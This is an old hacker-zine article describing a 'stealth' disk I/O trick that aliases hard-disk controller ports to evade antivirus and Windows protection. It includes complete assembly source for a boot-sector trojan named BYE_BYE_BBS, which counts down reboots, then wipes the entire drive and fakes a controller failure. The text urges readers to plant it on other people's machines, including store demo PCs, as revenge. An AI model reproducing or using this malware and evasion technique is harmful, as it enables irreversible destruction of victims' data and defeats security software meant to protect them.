Stealth Trojans
by Commander Crash
You upload a Trojan to a deserving lamer's BBS which simply uses BIOS calls to write random junk to his hard drive. You call back a week later and his BBS is still up. What gives?
It never fails, there is always another anti-virus program, or another environment that stops your Trojan dead in its tracks. There are many things which could have caused your Trojan to have been detected. Either your Trojan's activities are caught by an AV program, or it causes an exception error in a Protected Mode environment. What is usually detected in both of these cases is disk I/O that seemed suspicious or shouldn't have been occurring. In order to prevent such a thing from happening, it is necessary to use "Stealth" disk I/O.
In the early days of the XT, it was easy. AV programs were far from commonly used, and simply calling DOS or BIOS interrupts was enough to do with your target's data as you pleased. Soon, there were hundreds of viruses circulating around and it wasn't long before AV programs were widely used. Most of these, however, relied on searching for a sequence of bytes which identified the virus. This method worked reliably for most of the commonly known viruses once they were discovered, but wouldn't ever detect a home brew virus it didn't know. No matter how many direct sector write BIOS calls it did, it would go undetected. Getting back at a lamer by uploading a Trojan always worked.
Several years later anti-virus programs were developed as TSRs. These programs would intercept any disk I/O and alert the user in the event of anything suspicious. Things suddenly got much more difficult. No longer is disk I/O possible with guaranteed invisibility from the user. To add to this aggravation, Intel adds "Protected Mode" into its latest generation of processors.
Protected Mode was meant to be just that. No program running in Protected Mode could ever get at something it wasn't supposed to. The operating system was the highest level, and would dictate to the applications running under it what they could or could not do. If an application wanted to write directly to the disk, it would have to deal with the operating system. If an application tried to modify memory that didn't belong to it, it would also be denied access. You can see why the future of the PC looked grim for virus writers.
Protected Mode was considered very virus unfriendly. It would be easy for an operating system designer to prevent any virus from ever spreading under it without being detected. Then Windows became the standard Protected Mode environment. A Windows application doesn't have access to BIOS or DOS interrupts at all, so we are unable to do I/O at all using that method.
Windows also doesn't allow an application to directly access the disk using I/O ports without first dealing with Windows itself either. Soon after its release, Windows AV programs detecting everything from INT 13h by DOS apps, to detecting undocumented calls to access the disk were released. It seemed as if detection was inevitable if an AV program was used at all.
In order to hide your Trojan's activities from the computer, it is necessary to make your disk I/O's hidden from the entire system. You can do this by using a technique I am about to describe called "Stealth" disk I/O. By doing this, you not only hide yourself from these aggravating AV programs looking for suspicious disk access, but you also prevent Protected Mode operating systems such as Windows from stopping your program from getting at the hard drive.
Nothing will know that your program is even accessing the disk drive at all!
There is a security hole in Windows we will take advantage of to do this. There is also an undesired feature in standard disk controller cards which will also be used. Windows seems to have no problem giving applications full control of all ports which are unknown to it. This was a big mistake on Bill's part.
But how does this help us? Windows knows about ports 1F0h-1F7h, so clearly disk I/O using these ports will be noticed. If an application tries any I/O to 1F0h, Windows knows you are poking around with the disk drives.
What about port 81F0h? You can read and write to that port all you want, because Windows doesn't care. Because Windows doesn't know what the hell port 81F0h is for!
If you try to do a write to port 81F0h, the processor will send the signals out on the bus telling all the cards that data is being written to port 81F0h. Most cards, however, only look at the lower 16-bits of the address to see if they are being accessed.
What does this mean? Our output to port 81F0h is magically transformed into an output to port 1F0h. Does Windows know? Nope. As far as the processor sees, you just wrote to port 81F0h. Pretty sneaky, eh?
There are ways which AV programs could be written to detect this, however, but none have been written as of yet. What such a program would do is track all access to ports above FFFh, and would be installed in Windows as a virtual device driver.
To demonstrate a practical use of "Stealth" disk I/O, here is a sample Trojan using the technique. It will work undetected in DOS or even in Windows with any AV program installed. It uses two routines you can use in your own programs. hdRW will write or read a buffer to a physical sector, and hdWait will wait for completion of the previous command to the hard drive. Both of these routines use "Stealth" I/O, so they will not be detected.
; BYE_BYE_BBS By Commander Crash ; This Trojan horse demonstrates the use of stealth disk I/O techniques to avoid detection from Windows ; and all antivirus software. ; How it works: ; The actual Trojan is quite simple, and is designed to simply demonstrate one practical use of the ; stealth disk I/O routines. When this program is run, it installs encrypted boot sector code in the ; hard disk's boot sector after making a backup of the boot sector in sector 7. When the victim reboots ; his/her PC, it is loaded into 0000:7C00 in memory. The Trojan first decrypts itself into 8000:0000 and ; continues from there, effectively moving itself out of the boot area in memory. It then decrements a ; counter in the boot sector. If it hits 0, it then corrupts the drive. Any further attempts to boot ; simply display an error and shuts the HDD down. If the counter hasn't reached 0, the sector 7 is loaded ; from disk to 0000:7C00 (Good thing we got outta there) and control is given to it once again. The boot ; process then continues normally. .MODEL tiny .STACK 200h HDDATA Equ 01f0h HDERROR Equ 01f1h HDPRECOMP Equ 01f1h HDSECTORS Equ 01f2h HDSECTOR Equ 01f3h HDCYLLOW Equ 01f4h HDCYLHIGH Equ 01f5h HDDRHEAD Equ 01f6h HDDCMD Equ 01f7h HDSTATUS Equ 01f7h ; Hard disk drive port definitions STEALTH Equ 08000h ; Stealth bit to use to hide disk I/O READ Equ 020h ; HDD commands (Read data) WRITE Equ 030h ; (Write Data) ON Equ 040h ; (Turn on HDD via read verify) OFF Equ 0E0h ; (Spin down HDD) SLEEP Equ 0E6h ; (Turn off HDD for good; at least till reset) .CODE ; Installer mov ax, cs mov ds, ax ; set up data segment mov es, ax mov di, OFFSET sectorData mov ax, 0 mov bx, 0 mov cl, 1 mov ch, 1 mov si, READ call hdRW ; Read in the old boot sector mov di, OFFSET sectorData add di, 401 cmp BYTE PTR[di], ';' ; Look for ";)" Signature jne short nosig cmp BYTE PTR[di+1], ')' je short exit ; If we're already installed, exit nosig: mov ax, OFFSET sectorData mov di, ax mov ax, 0 mov bx, 0 mov cl, 7 mov ch, 1 mov si, WRITE call hdRW ; copy the boot sector in sect 7 mov di, OFFSET sectorData mov si, OFFSET bootProgram cld mov cx, OFFSET bootProgramEnd - OFFSET bootProgram rep movsb ; Copy our program into the boot data mov cx, OFFSET bootProgramEnd - OFFSET start mov di, OFFSET start - OFFSET bootProgram add di, OFFSET sectorData mov si, di EncryptNextbyte: lodsb xor al, '*' stosb loop encryptNextByte ; Scramble part of the trojan mov ax, OFFSET sectorData add ax, 400 mov di, ax mov [di], BYTE PTR 0Ah ; Counter in boot (10 times) mov [di+1], BYTE PTR ';' mov [di+2], BYTE PTR ')' ; Signature in boot mov ax, OFFSET sectorData mov di, ax mov ax, 0 mov bx, 0 mov cl, 1 mov ch, 1 mov si, WRITE call hdRW ; Write the new boot sector exit: mov ah, 4ch int 21h ; Terminate the program ; Boot sector program bootProgram: ; This is at 0000:7COOh cld ; loader mov ax, cs mov ds, ax mov si, OFFSET start - OFFSET bootProgram + 7C00h mov cx, OFFSET bootProgramEnd - OFFSET start mov ax, 8000h mov es, ax mov di, 0 decryptNextByte: lodsb xor al, '*' stosb loop decryptNextByte ; copy our code to 8000:0000 DB 0EAh, 00h, 00h, 00h, 080h ; Jump to our code (jmp 8000:0000h) start: mov ax, 09000h mov ds, ax mov di, 0 mov ax, 0 mov bx, 0 mov cl, 1 mov ch, 1 mov si, READ call hdRW ; Read in our boot sector mov bx, 400 cmp BYTE PTR [bx], 0 ; Has our counter hit 0 already? je errMessage ; Yes? Show error message dec BYTE PTR [bx] ; No? That's 1 less time... mov di, 0 mov ax, 0 mov bx, 0 mov cl, 1 mov ch, 1 mov si, WRITE call hdRW ; Save the new counter mov bx, 400 cmp BYTE PTR [bx], 0 je wipeDrive ; We just hit 0? WipeDrive xor ax, ax mov ds, ax mov ax, 07C00h mov di, ax mov ax, 0 mov bx, 0 mov cl, 7 mov ch, 1 mov si, READ call hdRW ; Read in the old boot sector DB 0EAh, 00h, 07Ch, 00h, 00h ; Jump to old boot sector @ 7C00h errMessage: mov cx, 26 mov si, OFFSET errText - OFFSET start mov ax, cs mov ds, ax outLoop: mov ah, 0Eh mov al, [si] inc si mov bx, 0007h int 10h loop outLoop ; Show the error message mov dx, HDDCMD or STEALTH ; Shut the HD up. mov al, SLEEP out dx, al lockup: jmp short lockup ; Freeze up the system wipeDrive: mov ah, 08h mov dl, 080h int 13h ; Get drive parameters inc dh mov MAXHEADS, dh and cl, 01Fh inc cl mov MAXSECTS, cl mov bx, 0 ; bx = cur cylinder mov cx, 0101h mov ax, 0100h nextSect: mov di, 2600h mov si, WRITE push ax push cx push bx call hdRW cli pop bx pop cx pop ax inc oh cmp ah, MAXHEADS jne nextSect mov ah, 0 inc cl cmp cl, MAXSECTS jne nextSect mov cl, 0 inc bx jmp short nextSect errText: DB 0Ah, 'HDD 0 controller failure', 07h MAXHEADS DB (?) MAXSECTS DB (?) ; hdWait ; Waits for the hard drive and controller to finish it's current task before returning. hdWait Proc Near push dx push ax hdWaitLp: mov dx, HDSTATUS or STEALTH in al, dx mov ah, al and ah, 050h cmp ah, 050h jne short hdWaitLp and al, 080h cmp al, 080h je short hdWaitLp pop ax pop dx ret hdWait Endp ; hdRW ; Reads or writes a block of data to or from the hard drive ; DI - Buffer, AL - drive, AH - head ; bx - cylinder, cl - sector, ch - numsectors, si - read/write hdRW Proc Near call hdWait cli ; Leave me alone, other ints! shr al, 4 or al, ah or al, 0A0h mov dx, HDDRHEAD or STEALTH out dx, al ; Set up drive_and head register mov dx, HDCYLLOW or STEALTH mov ax, bx out dx, ax ; Set up the cylinder registers mov dx, HDSECTOR or STEALTH mov al, cl out dx, al ; Set up sector register mov dx, HDSECTORS or STEALTH mov al, ch out dx, al ; # of sectors to xfer mov dx, HDDCMD or STEALTH mov ax, si out dx, al ; READ/WRITE call hdWait mov dx, HDSTATUS or STEALTH drq: in al, dx and al, 08h cmp al, 08h jne drq ; Wait for data request cmp si, READ je readNextSector writeNextSector: ; Write 256 words for 1 sector mov bl, 0FFh writeNextByte: mov dx, HDDATA or STEALTH mov ax, [DI] out dx, ax add di, 2 dec bl cmp bl, 0FFh jnz short writeNextByte dec ch jnz short writeNextSector ; Loop till done with all sectors jmp short exitRW readNextSector: mov bl, 0FFh ; Read 256 words for 1 sector readNextByte: mov dx, HDDATA or STEALTH in ax, dx mov [DI], ax add di, 2 dec bl cmp bl, 0FFh jnz short readNextByte dec ch jnz short readNextSector ; Loop till done with all sectors exitRW: sti ret hdRW Endp bootProgramEnd: sectorData DB 512 DUP (?) end start ENDTo install the program, simply run it on some lame PC. It will copy an encrypted version of itself into the boot sector on hard drive 1. The original boot sector is stored in sector 7.
When someone, such as a RadioCrap representative, reboots the machine, the Trojan program is decrypted into memory and run. It will simply decrement a counter in the boot sector, and boot his machine as normal. When this hits 0, look out! The hard drive will be wiped clean, but you'll be long gone.
All attempts to reboot will result in the message "HDD controller failure" and the hard drive will be shut down. The actual motor will be turned off to give that added effect that the data was destroyed by "just another hard drive crash."
If you accidentally run this program, you must replace your boot sector (physical sector 0) before you reboot 10 times, or you're in trouble.
The installer must be run under DOS (you can make a DOS boot disk to bring with you to the target) but it will work with any OS that happens to be running... UNIX, OS/2, etc.
One thing to note, adding 8000h to disk I/O instructions is not needed in Real Mode to do undetected disk I/O. Most AV programs rely on capturing the INT 13h or the DOS interrupt vector to detect disk access. Ports aren't even looked at.
Most people seem to be afraid of poking around with the disk controller directly, but there is nothing to it at all. I guess AV software writers thought nobody would try direct disk I/O. All that would have to be done is to write a program that searches for anything like out 1f4h, al in the EXE files on your system and alert the user. A DOS program will not normally do anything like that, and a Windows program that does anything like that should never be run. I guess it was too complicated for them to do.
BYE_BYE_BBS is just one of the many things one can do with "Stealth" I/O. Does anyone use such techniques in viruses today? As far as I am aware of, no. And it's a good thing, seeing as how undetectable such accesses are with today's AV software.
If someone were to write a mutating stealth virus that used stealth disk I/O, it would be very difficult to detect, and us PC users would be in big trouble. I hope you anti-virus programmers out there take this article as a warning, and add detection for this in your programs.
I also hope Microslut wakes up and learns what Protected Mode really means. In the meantime, here's another way we can give those deserving lamers who cross us some payback!
If you work for an anti-virus software company, and would like some suggestions in adding "Stealth" detection to your software, you can leave a message in my 2600 mailbox. Have phun, and be careful with this info!
Code: BYE_BYE_BBS.asm
Code: BYE_BYE_BBS.exe